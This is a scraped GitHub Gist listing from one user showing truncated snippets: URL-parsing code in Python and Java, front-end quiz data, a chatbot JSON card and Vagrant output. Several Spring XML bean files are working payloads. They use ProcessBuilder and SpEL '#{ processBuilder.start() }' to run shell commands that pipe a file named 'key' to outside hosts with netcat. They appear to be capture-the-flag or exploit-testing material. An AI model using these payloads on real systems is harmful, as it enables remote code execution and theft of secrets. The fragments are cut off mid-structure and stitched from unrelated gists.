Skip to content

Instantly share code, notes, and snippets.

from urllib.parse import urlparse
o = urlparse('http://bing.com/search?q=[%temp%]&abc=what&this=that')
print(urllib.parse.parse_qs(o.query))
import java.net.URL;
import java.net.URLDecoder;
public class HelloWorld
{
public static void main(String[] args)
{
try {
URL url = new URL("http://foo.com?a=[%abc%]&b=test");
System.out.println(url.getPath()+"?"+url.getQuery());
@kimtree
kimtree / quiz.js
Created January 25, 2019 01:08
LINE 2019 FrontEnd Quiz
// data cherry-picked from https://gist.github.com/nigayo/ade2c3f74417fc202c8097214c965f27
const data = {
"debug": "on",
"window": {
"title": "Sample Konfabulator Widget",
"name": "main_window",
"width": 500,
"height": 500
},
"image": {
@kimtree
kimtree / spel.xml
Last active January 15, 2019 03:52
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<array>
<value>/bin/bash</value>
<value>-c</value>
<value>cat ./key | nc 10.128.218.64 1024</value>
</array>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="processBuilder" class="java.lang.ProcessBuilder">
<constructor-arg value="cat key | nc kimtree.net 8282"/>
<property name="name" value="#{ processBuilder.start() }"/>
</bean>
</beans>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="processBuilder" class="java.lang.ProcessBuilder">
<constructor-arg value="cat key | nc kimtree.net 8282"/>
<property name="name" value="#{ processBuilder.start() }"/>
</bean>
</beans>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="cat key" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
ㅐ{
"version": "2.0",
"template": {
"outputs": [
{
"basicCard": {
"title": "cute lulu",
"description": "lulu is cute",
"thumbnail": {
"imageUrl": "https://i.ytimg.com/vi/LNGSQHQdBW4/maxresdefault.jpg"
@kimtree
kimtree / gist:50cc80eed0f344417f7a42129f83fcdd
Created December 7, 2017 03:53
vagrant destroy && vagrant up result
homestead-7: Are you sure you want to destroy the 'homestead-7' VM? [y/N] y
==> homestead-7: Forcing shutdown of VM...
==> homestead-7: Destroying VM and associated drives...
==> homestead-7: Pruning invalid NFS exports. Administrator privileges will be required...
Password:
Bringing machine 'homestead-7' up with 'virtualbox' provider...
==> homestead-7: Importing base box 'laravel/homestead'...
==> homestead-7: Matching MAC address for NAT networking...
==> homestead-7: Checking if box 'laravel/homestead' is up to date...
==> homestead-7: Setting the name of the VM: homestead-7